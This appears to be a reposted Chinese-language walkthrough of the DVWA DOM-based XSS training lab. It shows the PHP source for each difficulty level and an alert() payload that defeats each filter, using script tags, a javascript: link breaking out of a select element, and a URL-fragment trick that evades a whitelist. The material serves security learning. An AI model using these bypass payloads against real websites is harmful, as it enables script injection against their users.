XSS-DOM


DOM型XSS是基于DOM文档对象模型的一种漏洞

通过 HTML DOM,树中的所有节点均可通过 JavaScript 进行访问。所有 HTML 元素(节点)均可被修改,也可以创建或删除节点。(引用W3C)

因为可以在DOM树中植入js代码,因此造成了XSS-DOM漏洞,所以DOM类型的XSS可能是反射型也可能是储存型

 

Low

<?php

# No protections, anything goes

?> 

没有PHP代码,直接看前端

构造payload

?default=<script>alert('xss')</script

成功执行

 

Medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

stripos函数 找查字符在字符串中第一次出现的位置

如果$default 出现<script,则默认?default=English

我们可以用采用JavaScript伪协议

?default=</option></select><a href="javascript:alert('xss')">test</a>

 

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

switch语句选出了对应的结果(白名单),其他的字符默认为English

payload :

?default=English #<script>alert(/xss/)</script>

 因为在URL栏中#之后的字符不会提交到服务器,就实现绕过白名单

 

Impossible

<?php

# Don't need to do anything, protction handled on the client side

?> 

不需要做任何事情,在客户端处理保护

测试输入 <script>alert('xss')</script>

被解释URL编码,从而防止js代码执行

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM